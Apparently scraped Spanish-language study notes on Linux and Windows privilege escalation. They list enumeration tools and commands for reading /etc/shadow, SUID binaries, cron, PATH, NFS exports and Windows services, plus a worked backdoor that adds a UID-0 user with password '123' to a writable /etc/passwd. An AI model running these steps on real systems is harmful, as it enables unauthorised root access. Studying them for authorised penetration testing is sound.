Privilege Escalation
- Escalada Horizontal: Se puede hacer de un usuario diferente que esta en el mismo nivel de privilegios, por lo que le permite heredar cualquier archivo y acceso que tenga ese usuario (archivos SUID).
- Escalada Vertical: aquí es donde intentamos tener mayores privilegios o acceso, con una cuenta que ya se ha comprometido, por lo que significa secuestrar una cuenta con privilegios de administrador o privilegios root.
- LinEnum: es un script en bash que ejecuta comando comunes relaciones con la escalacion de privilegios Link de descarga
- LinPeas: es un script en bash que busca posibles caminos para la escalacion de privilegios. la escalacion de privilegios Link de descarga
- Linux-exploit-suggester: es un script en bash que busca deficiencias de seguridad en un kernel que use Linux con exploits conocidos públicamente. Link de descarga
- Linux-smart-enumeration: muestra vectores con posible escalada de privilegios. Link de descarga
- Linux Priv Checker: busca vectores de escalada de privilegios. Link de descarga
- PowerUp: busca vectores de escalada de privilegios basadas en Configuraciones incorrectas. Link de descarga
- WinPeas: busca vectores de escalada de privilegios. Link de descarga
- Windows-Exploit-Suggester: busca vectores de escalada de privilegios.
Link de descarga
Actualizar la base de datos antes de ejecutar el comando.windows-exploit-suggester.py –update
Ejecutar el archivo y guardarlo en un archivo de texto plano.windows-exploit-suggester.py --database 2021-09-21-mssb.xls --systeminfo sysinfo_output.txt
- Windows-Exploit-Suggester Next Generation (WES-NG): busca vectores de escalada de privilegios. Link de descarga
- Regresa el nombre del host, pero en algunos casos, puede proporcionar información
sobre la funcion del sistema de destino dentre de la red.
host
- Regresa el nombre del sistema dándonos detalles adicionales sobre el kernel
utilizado por el sistema
uname -a
- Sistema de archivos proc(procfs) nos da información sobre los procesos del
sistema de destino (version del kernel).
cat /proc/version
- Contiene información sobre el SO.
cat /etc/issue
- Se mostrara los procesos de ejecución.
ps
- Se mostrara todos los procesos de ejecución.
ps -A
- Se mostrara el árbol de procesos.
ps axjf
- Se mostrara los procesos para todos los usuario(a).
ps aux
- Se mostrara las variables ambientales, donde se podría encontrar binarios para la
ejecución de código por ejemplo python.
env
- Se mostrara los comandos con privilegios root.
sudo -l
- Se listaran todos los archivos ocultos.
ls -al
- Proporciona una descripcion general del nivel de privilegios que tiene el usuario
y pertenencia a grupos.
id
- Se mostrara los hashes de credenciales de los usuarios.
cat /etc/shadow
ls -l /etc/shadow
- Se mostrara los usuarios junto con sus credenciales.
cat /etc/passwd
- Username: es cuando el usuario inicia sesión, debería ser entre 1 y 32 caracteres de longitud.
- Password: una X indica que esta encriptado el password y esta almacenado en el archivo /etc/shadow.
- User ID (UID): cada usuario debe tener asignado un user ID (UID). EL UID 0(CERO) es reservado para root y UIDs 1-99 son reservados para otras cuentas predeterminadas. El sistema reserva otro UID 100-999 para accounts/groups administrativos y del sistema.
- Group id (GID)el primer grupo ID (almacenado en /etc/group file).
- User ID info: campo de comentario, permite agregar información adicional sobre los usuarios, como el nombre completo del usuario, el número de teléfono, etc. Este campo se usa mediante un comando de dedo.
- Home directory: la ruta absoluta al directorio en el que estará el usuario cuando inicio sesión. Si este directorio no existe, el directorio de usuarios se convierte en /.
- Command/Shell: la ruta absoluta de un commando o shell (/bin/bash).
- Si encontramos un archivo de escritura /etc/passwd, podemos escribir una
nueva entrada de linea de acuerdo con la formula anterior y crear un nuevo usuario con
privilegios.
- ejecutamos
- nos genera un hash
- $1$new$p7ptkEKU1HnaHpRtzNizS1
- ahora tenemos que poner el hash y crear un nuevo usuario root
- ahora tenemos que pegar el usuario creado en el archivo /etc/passwd
- ahora iniciamos secion con el usuario creado
- ponemos el password
- 123
openssl passwd -1 -salt [salt] [password]
openssl passwd -1 -salt [new] [123]
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
su new
- Se mostrara los comando anteriores y poder darnos una idea sobre el
sistema.
history
- Herramienta para enumerar las “Capabilities” habilitadas .
getcap -r /dev/null
- Se mostrara las rutas de red existentes.
ip route
- Se mostrara las comunicaciones después de verificar las interfaces y las rutas de
red.
netstat
- Se mostrara todos los puertos de escucha y las conexiones establecidas.
netstat -a
- Se mostrara todos los protocolos TCP o UDP.
netstat -at
- Se mostrara todos los puertos en modo "escucha", estos puertos están abiertos
y listos para aceptar conexiones entrantes.
netstat -l
- Enumera las estadísticas de uso de la red por protocolo.
netstat -s
- Enumera las conexiones con el nombre del servicio y la información de PID (se
puede usar con la opción -l).
netstat -tp
- Muestra las estadísticas de la interfaz.
netstat -i
- Búsqueda de directorios llamado config.
find / -type d -name config 2>/dev/null
- Búsqueda de archivos con los permisos 777.
find / -type f -perm 777 2>/dev/null
- Búsqueda de archivos ejecutables.
find / -perm a=x 2>/dev/null
- Búsqueda de carpeta ejecutables en todo el sistema.
find / -perm -o x -type d 2>/dev/null
- Búsqueda de archivos con el bit SUID, lo que nos permite ejecutar el archivo con
un nivel de privilegios superior al del usuario actual.
find / -perm -u=s -type f 2>/dev/null
- Búsqueda de todos los ejecutables SUID, SGID en la maquina y si tenemos suerte
podemos encontrar programas con sus versiones que se pueden explotar.
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
- Formato:
- #: ID
- m: Minuto
- h: Hora
- dom: Dia del mes
- mon: Mes
- dow: Dia de la semana
- user: Con que usuario se ejecutara el comando
- command: Que comando debe ejecutarse
- Ejemplo:
- # m h dom mon dow user command
- 17 * 1 * * * root cd / && run-parts --report /etc/cron.hourly
cat /etc/crontab
- Búsqueda de carpetas sobre-escribibles que podemos modificar el PATH.
echo $PATH
- Búsqueda de carpetas sobre escribibles que podemos modificar el PATH.
find / -writable 2>/dev/null
- Verificación de NTF.
- Verificar si esta la opción no_root_squash, donde si encontramos que esta presente en un recurso compartido de escritura, podemos crear un ejecutable con el bit SUID configurado y ejecutarlo en el sistema de destino.
cat /etc/exports
- Privilegios del usuario actual.
whoami /priv
- Lista de usuario.
net users
- Lista detallada del usuario.
net user [username]
- Otros usuario iniciaron sesión.
qwinsta
- Grupos de usuarios definidos en el sistema.
net localgroup
- Enumerar los miembros de un grupo especifico.
net localgroup [groupname]
- Devolverá una descripción general del sistema de destino.
systeminfo
- En algunos objetivos la cantidad de información puede ser abrumadora y por eso es
recomendable usar grep.
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- Nombre del sistema.
hostname
- Encontrar archivos o carpetas.
findstr /si [name] *.[extension]
- /si: busca en el directorio actual y todos los subdirectorios y omite los caracteres al buscar la cadena.
- [name]: nombre del archivo que se quiera buscar.
- *.[extension]: nombre de la extension a buscar.
- Enumerar las actualizaciones instaladas en el sistema operativo.
wmic qfe get Caption,Description,HotFixID,InstalledOn
- wmic es una herramienta poderosa que también nos permite buscar vulnerabilidades de ruta de servicio no citadas, sin embargo esta obsoleto en Windows 10, version 21H1 y la version del 21H1 en Windows Server, por lo que se recomienda usar cmdlet
- Enumerar todos los puertos de escucha en el sistema.
netstat -ano
- -a: muestra todas la conexiones activas y los puertos de escucha en el sistema.
- -n: evita la resolución de nombres, las direcciones IP y los puertos se muestran con números en lugar de intentar resolver nombres mediante DNS.
- -o: muestra el ID del proceso usando cada conexión listada.
- Consulta de tareas programadas.
schtasks /query /fo LIST /v
- Enumerar los controladores disponibles en el sistema de destino donde puede que
se encuentre vectores de escalamiento de privilegios.
driverquery
- Enumerar los servicios de antivirus Windows Defender.
sc query windefend
- Enumerar los servicios de antivirus que corren en el sistema.
sc queryex type=service
- Ejecutar en CMD
- Enumera el software instalado.
wmic product
- Filtrar la salida para obtener una salida mas limpia.
wmic product get name,version,vendor
- Enumera los servicios.
wmic service list brief
- Enumera los servicios pero filtrando con grep la salida para que sea mas
entendible.
wmic service list brief | findstr "Running"
- Si se necesita mas informacion de la salida del comando wmic (correr en
CMD).
sc qc [name service]
sc qc windefend
Sitios web de consulta
GTFOBins: Cuando encontramos binarios en nuestra enumeración, STFOBins es una lista seleccionada de binarios de unix que se puede aprovechar para eludir las restricciones de seguridad local. Link de consulta
Checklists: lista de verificación para encontrar vectores para escalada de privilegios. Link de consulta
Linux-Privilege-Escalation: scripts para encontrar vectores para escalada de privilegios. Link de consulta
Privilege Escalation: enumeración de vectores para escalada de privilegios. Link de consulta
A Guide To Linux Privilege Escalation: Guía para encontrar vectores para escalada de privilegios. Link de consulta
Búsqueda de vectores para escalada de privilegios automaticamente
Linux
Windows
Búsqueda de vectores para escalada de privilegios manualmente
Linux
Encontrar comandos con find
Encontrar tareas que se ejecutan en cron
Es un proceso de larga ejecución que ejecuta comando de fecha y horas especificas, en la cual podemos usar esto para programas actividades, ya sea como eventos único o como tareas recurrentes. Se puede crear archivos crontab que contenga comandos e instrucciones para que se ejecute Cron daemon.
Encontrar vectores de escalada de privilegios en PATH
es una variable de entorno en sistemas operativos Linux y unix que especifica directorios que contiene programas ejecutables como (ls, whoami, rm, mkdir, etc), lo que podemos hacer es escribir las variables PATH en la ubicación que elijamos.
Encontrar vectores de escalada de privilegios en NTF Los archivos creados via NFS heredan la ID del usuario remoto. Si el usuario es root y el aplastamiento de root esta habilitado, la ID se establecerá en su lugar en el usuario “nobody”, esto es común cuando las carpetas compartidas y las interfaces de administración remota como ssh y telnet también pueden ayudarnos a obtener acceso como root.
Windows
Enumeración de usuarios
Recopilación de información del sistema
Búsqueda de archivos
Nivel de parche
Conexiones de red
Tareas programadas
Drivers
Antivirus
Software vulnerable